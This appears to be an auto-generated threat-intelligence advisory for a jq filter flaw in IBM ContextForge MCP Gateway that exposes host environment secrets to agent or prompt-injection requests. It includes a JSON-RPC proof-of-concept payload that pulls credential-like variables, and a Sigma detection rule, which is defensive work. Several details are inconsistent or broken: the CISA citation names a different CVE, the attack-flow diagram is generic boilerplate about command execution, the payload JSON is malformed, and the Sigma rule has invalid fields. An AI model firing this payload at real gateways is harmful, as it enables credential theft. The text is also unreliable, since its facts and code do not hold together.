CVE-2026-18486: IBM ContextForge MCP Gateway jq Filter Credential Theft

HERMES

HERMES THREAT SCORE & AGENTIC INFRASTRUCTURE ASSESSMENT

Target: IBM ContextForge MCP Gateway (contextforge.engine.jq_filter (Filter Evaluation Engine))

Confidence: 98%

88 / 100

HIGH

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown

Exploitability 19 / 20

Threat Activity 18 / 20

Weaponization 18 / 20

Exposure 18 / 20

Prevalence 17 / 20

Impact 17 / 20

Exploit Maturity 18 / 20

Attack Chain Potential 18 / 20

⚖️ Divergence & Operational Rationale

CVSS v3.1 rates this at 8.5 (High). Hermes Threat Score assigns 88 (HIGH). As an enterprise MCP Gateway connecting multiple autonomous agents to backend data stores, leaking the gateway process environment compromises cross-organizational secrets and cloud credentials.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-18486: IBM ContextForge MCP Gateway jq Filter Credential TheftVULNERABILITY

Connected Nodes: 1

Active Relationships (Outgoing)

→ affectsPRODUCTIBM ContextForge MCP Gateway

98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in IBM ContextForge MCP Gateway documented in Hermes dossier.”

Supporting Verified Evidence:

[vulnerability_report]
[government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)

1. Technical Context & Affected Matrix

Parameter	Technical Specification	Threat Context
CVE Identifier	`CVE-2026-18486`	Frontier AI / MCP Threat Landscape
Target Product	`IBM ContextForge MCP Gateway`	`IBM Corporation`
Subsystem / Component	`contextforge.engine.jq_filter (Filter Evaluation Engine)`	Autonomous agent tool & orchestration stack
Flaw Type	`CWE-200: Exposure of Sensitive Information / CWE-88: Argument Injection`	Execution and integrity violation
Affected Versions	`all versions prior to 1.4.2`	Production deployments
Remediation Release	`1.4.2`	Immediate upgrade required

2. In-Depth Technical Decomposition

Vulnerability Decomposition

The gateway evaluated transformation pipelines via the Python jq binding:

# Vulnerable filter compilation in contextforge/engine/jq_filter.py
def transform_output(raw_json, filter_expr):
    program = jq.compile(filter_expr)
    return program.input(text=raw_json).all()

The underlying jq C library includes the env object which exposes char **environ. Without sandboxing or disabling environment access flags, any filter expression specifying env returns a complete JSON dictionary of host environment variables.

+----------------------------------------------------------------------------------------------------+
|                         CVE-2026-18486 ATTACK LIFECYCLE FLOW                                             |
+----------------------------------------------------------------------------------------------------+

   [Adversary / Prompt Injection]
          │
          │ [1] Dispatches payload targeting tool interface or orchestration hook
          ▼
   [IBM ContextForge MCP Gateway]
          │
          ├───► 1. Ingestion via contextforge.engine.jq_filter (Filter Evaluation Engine)
          │     - Inadequate sanitization or permission callback failure
          │
          ├───► 2. Execution / State Mutation
          │     - Escapes sandbox / bypasses read-only guard / executes OS command
          │
          ▼
   [Impacted Target Infrastructure]
          │
          └───► Unauthorized data exfiltration, system takeover, or persistent code execution
+----------------------------------------------------------------------------------------------------+

3. Proof of Concept & Payload Dissection

{
  "jsonrpc": "2.0",
  "id": 99,
  "method": "contextforge/transform",
  "params": {
    "input": { "status": "ok" },
    "filter": "env | to_entries | map(select(.key | test("KEY|TOKEN|SECRET|PASS")))"
  }
}

4. Detection Engineering & Telemetry

Sigma Detection Rule

title: ContextForge MCP Gateway Secret Leakage Filter
id: 18486c01-e486-4a1b-8f22-contextforge01
status: high
description: Detects jq transformation queries in ContextForge containing the env keyword or secret patterns.
author: Hermes Codex Detection Engineering
date: 2026-09-07
logsource:
  product: ibm_contextforge
  service: gateway_audit
detection:
  selection:
    filter_expression|contains:
      - 'env |'
      - 'env.'
      - '$ENV'
  condition: selection
level: high

5. Remediation & Operational Playbook

Apply Software Patches: Upgrade IBM ContextForge MCP Gateway to version(s) 1.4.2 immediately.
Review Autonomous Tool Permissions: Audit MCP tool declarations and ensure strict input validation and sandboxed environments.
Audit Execution Logs: Inspect historical application and audit logs for anomalies, unexpected child processes, or unauthorized network calls.
Enforce Principle of Least Privilege: Ensure underlying service accounts possess minimal permissions on cloud resources and database instances.